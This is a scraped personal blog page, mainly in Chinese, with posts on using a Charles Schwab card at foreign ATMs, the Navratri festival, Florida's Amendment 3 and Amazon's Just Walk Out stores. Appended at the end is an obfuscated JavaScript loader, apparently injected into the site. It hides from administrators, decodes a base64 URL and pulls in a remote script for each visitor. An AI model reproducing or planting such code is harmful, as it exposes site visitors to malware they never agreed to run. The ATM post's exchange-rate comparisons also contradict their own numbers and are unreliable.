    不論你是回台灣過暑假,還是在歐洲、東南亞、中南美旅行,有一張 Charles Schwab 提款卡真的超級方便又省錢。開戶流程簡單,實用性高,是我每次出國必帶的小幫手!

    實際例子 December 2025 :加拿大 ATM 提領現金

    • 地點:加拿大 ATM 提領 (RBC)
    • 日期:2025/12/28
    • 拿到現金:80 CAD
    • ATM 手續費:3.5 CAD
    • 實際扣款金額:83.5 CAD
    • 帳單顯示(美金)
      • Withdrawal:61.22 USD
      • Fee refund:+2.57 USD
      • 實際扣款:63.79 USD

    📌 實際匯率計算:
    83.5 CAD ÷ 63.79 USD ≈ 1.31 CAD/USD(等於 1 CAD ≈ 0.764 USD

    換算下來,實際匯率約是 1 USD = 1.31 CAD。對比當天市場匯率落差不大 1.37–1.38 CAD,是方便,價格又不錯的提領方式。

    實際例子 March 2025 :瓜地馬拉機場 ATM 提領現金 vs 在美國先換錢

    很多人會想:「是不是應該在美國先換好外幣比較安心?」以匯率來看,用 Charles Schwab 帳戶在當地 ATM 提領,匯率往往更划算。

    以下是一個我和男友的真實比較:

    ✈️ 情境 1:我在瓜地馬拉機場 ATM 提領現金(使用 Charles Schwab)

    • 地點:瓜地馬拉機場(GUA)
    • 日期:2025/3/28
    • 拿到現金:500 GTQ
    • 當下換匯金額:$78.04 美元
    • Charles Schwab ATM 回饋:+$7.09(在 3/31 自動退還)
    • 實際換領金額:$70.95 美元
    • 📈 實際匯率:500 ÷ 70.95 ≈ 7.0459 GTQ/USD

    當天的市場匯率(中間價)為 1 USD = 7.7139 GTQ,我拿到的匯率幾乎貼近市場價。這是因為 Charles Schwab 是透過 Visa 的結算系統兌換,沒有額外收手續費,並自動退還 ATM 提領費。


    🏦 情境 2:男友在美國 Chase 銀行先換好瓜地馬拉幣

    • 地點:美國境內的 Chase 銀行
    • 拿到現金:1000 GTQ
    • 換匯金額:$142.90 美元
    • 📉 實際匯率:1000 ÷ 142.90 ≈ 7.0021 GTQ/USD

    雖然這筆交易看起來沒有「手續費」,但實際上 Chase 是透過調整匯率的方式來收費,這叫做「匯率利差(exchange rate markup)」。當天的市場匯率是 7.7139,而 Chase 給的只有 7.0021,等於差了約 9%。這就是他們實際收的手續費,藏在匯率裡了。

    方法實際匯率(GTQ/USD)是否收手續費實際成本
    Charles Schwab 提領現金7.0459❌ 無,且退 ATM 費$70.95 美元 / 500Q
    Chase 銀行在美國換匯7.0021✅ 有(匯率利差約 9%)$142.90 / 1000Q

    雖然在美國換好錢感覺比較安心,但實際上會付出較高的隱藏手續費。使用 Charles Schwab 提領現金,不但可以拿到更接近市場的匯率,還會自動退還海外 ATM 費用。就算是在機場提款,匯率都非常不錯。不過,如果是到不熟悉的地方旅行,以防萬一,先換好一些現金是正確的。

    實際例子 December 2024:台灣國泰ATM提領現金

    • 地點:台灣便利商店國泰ATM提領
    • 日期:2024/12/7
    • 拿到現金:5000 TWD
    • 換匯金額:$154.43 美元
    • 📉 實際匯率:5000 ÷ 154.43 ≈ 32.37 TWD/USD

    當天的市場匯率為 1 USD = 32.4095 TWD,也就是說我拿到的匯率非常接近市場價。所以!! 回台灣用這個方法領錢真的很讚。有網友說 Fidelity 的 cash management 也好用,我還沒研究,研究完再跟大家分享。

    如果你也覺得實用,歡迎分享給有需要的朋友,或留言告訴我你的使用心得!

    更多美國留學資訊、文化分享(衝擊)、生活點滴都在這
    外婆專線是我錄製的podcast,主要是為外公外婆做的節目,我希望外公外婆多看電視報紙不與外界脫節,可是外婆總說眼睛看容易累,讓她聽聽收音機,她嫌吵,說「不是你在說話」;於是外婆專線誕生了,願帶領外公外婆遊遍世界

    外婆專線的臉書 – HotlinetoGrandma
    外婆專線的IG – uslife_hotlinetograndma

    你們的鼓勵

    是我努力堅持的動力

    如果你喜歡我的文章,歡迎分享給你的朋友,留言或是寫信給我,都對我是很大的鼓勵🙋‍♀️🙋‍♀️🙋‍♀️

    也希望你能點選下方拍手圖示,幫我拍手 5 下給我支持:

    這是一個不用花任何錢就能支持我的方法,只需要登入FB或是 Google 帳號,給我 5 下拍手,回饋會由 LikeCoin 基金會配發。這將鼓舞我繼續寫更多文章,也能分擔一點支付網站主機的費用。

  • 印度知名節慶九夜節 Navratri,第十天 Dusshera 吃盡印度傳統美食

    印度知名節慶九夜節 Navratri,第十天 Dusshera 吃盡印度傳統美食

    Navratri (納瓦拉特里)有稱九夜節

    9天9夜不停歇,人家張惠妹三天三夜,印度人們 Navratri (納瓦拉特里)九天九夜,Navratri 源於印度教,主要用來慶祝女神杜爾迦(Goddess Durga)的力量與勝利。這個節日通常持續九天,代表著對女性力量的尊敬和崇拜。

    女神杜爾迦(Goddess Durga)

    Navratri 的傳說與神話故事有關,主要講述杜爾迦如何戰勝邪惡的水牛魔王馬希莎(Mahishasura)。這場戰鬥象徵著光明戰勝黑暗,也是對女性力量的頌揚,通常在秋季舉行,這也是豐收的時節,因此也能知道他們與農業社會的傳統息息相關。這段時間被視為轉變和新開始的象徵 。

    Navratri 我們又稱為九夜節,Nava 梵文的意思就是九,Ratri 是夜晚,為期九天向不同的女神供奉花朵和食物,並唱頌詩歌。此外,許多地方會舉行 Garba 舞蹈和 Dandiya 舞會,信徒們還會在家中設置祭壇,精心裝飾神像,並參加社區聚會,共同慶祝。不過其實這 9 位女神都是同一位女神杜爾迦,她有 9 種化身,象徵著力量、保護、母性、戰爭和毀滅。這段期間,許多人會進行禁食(fasting),並在第十天的 Dusshera 結束禁食,開始慶祝。

    Durga
    女神杜爾迦的 9 種化身

    禁食的標準因人而異。我朋友在這段期間只吃水果、堅果、乳製品、西米(sago)和馬鈴薯。有些人會選擇根莖類蔬菜,但她特別強調,她的飲食中嚴格不包括任何穀物。這種禁食和祈禱的傳統,表現他們的崇拜。

    九夜節的隔天 Dusshera 結束禁食

    Dusshera(杜舍拉)是 Navratri 節慶的第十天。在這一天,人們慶祝女神杜爾迦戰勝魔王馬希莎(Mahishasura)的勝利。這場勝利象徵著光明戰勝黑暗的力量。許多人會用小祈禱結束禁食。我的朋友準備了傳統的美食來慶祝這個時刻,包括:米漿(Payesh)、油炸薄餅(Poori)、馬鈴薯香料咖哩(Aloo Masala Gravy)、鹽煮鷹嘴豆(Chana Sundal)、香料黑鷹嘴豆(Masala Kaala Chana)、粗麥粉甜品(Sooji Ka Halwa)和九寶米飯(Navratan Pulao)。食物在這個節日中扮演著重要的角色,象徵著感恩與祝福。

    Navratri

    Navratri 的具體時間每年不同,因為它是根據印度陰曆計算的。通常,Navratri 在九月或十月的某個時間開始,持續九天,隨後 Dusshera 緊接著在第十天慶祝。

    • payesh(米漿):一種用米、牛奶和糖製作的甜品,通常加入乾果和香料,口感濃郁,是慶祝節日的傳統食品。
    • poori(薄餅):一種用小麥粉製作的油炸薄餅,外脆內軟,通常用來搭配各種咖哩或菜餚。我超愛!!
    • aloo masala gravy(馬鈴薯香料咖哩):一道以馬鈴薯為主料的咖哩,加入多種香料和番茄,味道濃郁,通常搭配米飯或薄餅。
    • chana sundal(鹽煮鷹嘴豆):一道用煮熟的鷹嘴豆製作的簡單小菜,通常調味以鹽、椰子和香料,是南印度的受歡迎小吃。
    • masala kaala chana(香料黑鷹嘴豆):一道用黑鷹嘴豆製作的香料菜餚,通常加入洋蔥、番茄和各種香料。
    • sooji ka halwa(粗麥粉甜品):這是一種用粗麥粉、糖和牛奶製作的甜點,通常加入乾果和香料,口感香甜。
    • navratan pulao(九寶米飯):這是一道色彩豐富的米飯菜餚,通常加入多種蔬菜和乾果,名字中的navratan意為九種寶石,象徵多樣性。
    更多美國留學資訊、文化分享(衝擊)、生活點滴都在這
    外婆專線是我和我的大學同學共同錄製的podcast,主要是為外公外婆做的節目,我希望外公外婆多看電視報紙不與外界脫節,可是外婆總說眼睛看容易累,讓她聽聽收音機,她嫌吵,說「不是你在說話」;於是外婆專線誕生了,願帶領外公外婆遊遍世界

    外婆專線的臉書 – HotlinetoGrandma
    外婆專線的IG – uslife_hotlinetograndma

    如果你喜歡我的文章,歡迎分享給你的朋友,留言或是寫信給我,都對我是很大的鼓勵🙋‍♀️🙋‍♀️🙋‍♀️

  • Beyond the Haze: How Florida’s Amendment 3 Could Shape the 2024 Electorate

    Beyond the Haze: How Florida’s Amendment 3 Could Shape the 2024 Electorate

    On its surface, Florida’s Amendment 3 is a straightforward ballot initiative to legalize recreational marijuana. The policy debate is clear, and so is the high legal threshold: it requires 60% support to pass. For an elections analyst, however, the real story is not the policy itself, but its potent, structural impact on the 2024 election.

    The initiative’s primary political function is not necessarily legalization, but mobilization.

    Florida has trended Republican in recent cycles, making it a difficult state for Democrats at the top of the ticket. The party’s challenge often lies in energizing its base and, crucially, turning out low-propensity voters. Amendment 3 is a powerful tool to solve this exact problem. Support for marijuana legalization polls exceptionally high among Gen Z, Millennials, and progressive-leaning Independents—demographic cohorts that are notoriously difficult to get to the polls.

    This creates the critical “spillover effect.” A 22-year-old voter in Miami or Orlando, who might otherwise have skipped the election, may be highly motivated to vote “Yes” on Amendment 3. Once they have their ballot, the political calculus is whether they will also vote “down-ballot” for other Democratic candidates.

    While this increased turnout might not be enough to flip the state for Kamala Harris in the presidential race, its true impact will likely be felt in Florida’s closely contested U.S. House races. In an environment where control of the House of Representatives is decided by just a handful of seats, the mobilization of even a few thousand new, left-leaning voters in a key district could be the decisive factor. This transforms the initiative from a policy question into a strategic political weapon.

    The 60% threshold makes passage a significant challenge. Governor DeSantis and state Republicans are actively campaigning against it, meaning the measure could very well fail.

    Analytically, however, this almost doesn’t matter. Even if Amendment 3 fails to pass (for example, receiving 58% of the vote), it may have already succeeded in its political mission. By being on the ballot, it forces Republicans to spend resources fighting it, and it successfully draws thousands of younger, progressive voters to the polls—voters who likely would have stayed home otherwise.

    Ultimately, Amendment 3 is a powerful case study in modern political strategy, demonstrating how ballot initiatives can be used to bypass a legislature and, more importantly, reshape the electorate for a specific election. This is a tactic that will undoubtedly be refined and redeployed in future election cycles.

  • 佛羅里達修正案3 (Florida Amendment 3)只要成年就可以隨意買大麻?

    佛羅里達修正案3 (Florida Amendment 3)只要成年就可以隨意買大麻?

    在佛羅里達州,雖然醫療大麻已合法化,娛樂用途的大麻仍然是非法的。這意味著除非是出於醫療目的並擁有相關證明,否則在佛羅里達州種植、擁有、購買或使用大麻都被禁止。

    這正是 Florida Amendment 3 被提出的原因。如果超過 60% 的佛羅里達選民在今年11月的選票中勾選支持 Florida Amendment 3 的話,在佛羅里達燦爛的陽光下,一群年輕人在海風中享受大麻的芳香就不是夢。

    什麼是 Florida Amendment 3?

    中文稱為「佛羅里達修正案3」這項提案將允許 21 歲及以上成人合法購買和擁有最多 3 盎司(約85克)大麻的憲法修正案。此提案將在2024年11月的選票上,必須獲得超過 60% 的支持才能通過。這不僅可能是對所謂自由的一次突破性發展,也可能對州的稅收和經濟帶來顯著影響。

    大麻合法化對選舉的影響

    大麻合法化一直是選舉中的熱門話題,各政黨對此議題的立場截然不同。民主黨普遍支持合法化,認為這能減少政府開支、減輕對非暴力藥物犯罪的刑事處罰並增加稅收。這同時也是吸引年輕和自由派選民的一個策略。

    相比之下,共和黨對大麻合法化的支持則相對複雜,一部分保守派選民對此持保留或反對態度,主要擔憂其對社會和公共安全的潛在影響。然而,也有不少共和黨人支持合法化,認為這符合減少政府干預和增強個人自由的保守主義原則。

    最新的民調顯示,多數佛羅里達選民支持修正案3。這種變化不僅影響提案本身,也可能在其他州考慮類似法案時引發連鎖反應。-《Politics & Chill》Aug 20, 2024

    更多美國留學資訊、文化分享(衝擊)、生活點滴都在這
    外婆專線是我和我的大學同學共同錄製的podcast,主要是為外公外婆做的節目,我希望外公外婆多看電視報紙不與外界脫節,可是外婆總說眼睛看容易累,讓她聽聽收音機,她嫌吵,說「不是你在說話」;於是外婆專線誕生了,願帶領外公外婆遊遍世界

    外婆專線的臉書 – HotlinetoGrandma
    外婆專線的IG – uslife_hotlinetograndma
  • 亞馬遜曾帶零售革命的 Just Walk Out 打造無店員商店,現在全面收攤?

    亞馬遜曾帶零售革命的 Just Walk Out 打造無店員商店,現在全面收攤?

    job louana237

    我在美國機場不只看一次這個很酷的無店員商店,起初以為只有 Amazon Go 才有,後來發現有些超商有跟 Amazon 合作這個 Just Walk Out 技術,大家可以看到最下面 Just Walk Out 的影片。

    沒有收銀員結帳

    簡單介紹一下這個技術,Amazon 為了提升購物便利性,開發了 Just Walk Out 的技術,首先應用於 Amazon Go 商店。這項技術讓顧客能夠在沒有收銀員結帳的情況下,輕鬆購物並離開。商店內部裝置了多個感應器和攝像頭,當時他們說 Amazon 結合了深度學習(Deep Learning)、機器學習(Machine Learning)和感知融合技術(Sensor Fusion)來追蹤顧客的行動及他們所拿的商品。但是這陣子的新聞報導這項技術實際上依賴了大量的人力來確保交易的準確性。預計有超過一千名在印度的工作人員負責觀察和記錄影片,以協助處理某些不能被程式語言辨識的交易。

    合作案例 – Amazon Go、超商、星巴克等

    Amazon 並未將這項技術局限於自家的 Amazon Go 商店,而是將其推廣至其他零售場所,包括 Whole Foods 和 Amazon Fresh,以及第三方零售商。在紐約,星巴克與 Amazon 合作開設了一家結合了星巴克 app 與 Just Walk Out 技術的概念店,提供了類似於 Amazon Go 的無人收銀體驗​ (Engadget)。另外,Amazon 也與英國的大型超市連鎖店 Sainsbury’s 合作,在倫敦的 Holborn Circus 開設了無需結帳的超商。

    被質疑的數據隱私

    過去 Amazon 聲稱在提供 Just Walk Out 技術的同時,都有遵守數據保護法律,以保護消費者的隱私。而與第三方合作的店家,Amazon 雖然可以獲取一定的操作數據,但所有通過此技術收集的數據都受到合作協議和相關法律的限制。然而,當報導報出其實這些資料並不完全交由人工智慧來分析,而是由人來整理數據時,就引起了更多隱私方面的擔憂。

    Amazon 出新招 Dash Carts AI 購物車

    Amazon 正重新審視其零售技術戰略,Amazon 開始在一些 Amazon Fresh 商店中逐步淘汰 Just Walk Out 技術,並引入 Dash Carts AI 購物車。這個 Dash Cart依然能享受免排隊結帳,同時增加互動和更多的功能,像是提供即時收據查看,顧客可以通過購物車上的觸控螢幕看到和管理他們的購物清單,包括商品價格和當前總金額。觸控螢幕上有 QR code,登入 Amazon 帳戶,能及時查看當下的優惠,並導航找到商店內的特定商品。 此外,Just Walk Out 技術將繼續在 Amazon Go 商店、英國的小型 Amazon Fresh 商店以及一些第三方零售商中使用。總之,Just Walk Out技術的實際應用情況比最初宣傳的全自動化程度要低,而且在推廣過程中遇到了技術和隱私方面的挑戰。

    Featured image by Shinya Suzuki

    https://www.instagram.com/p/C5wspiVMAN0
    (function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();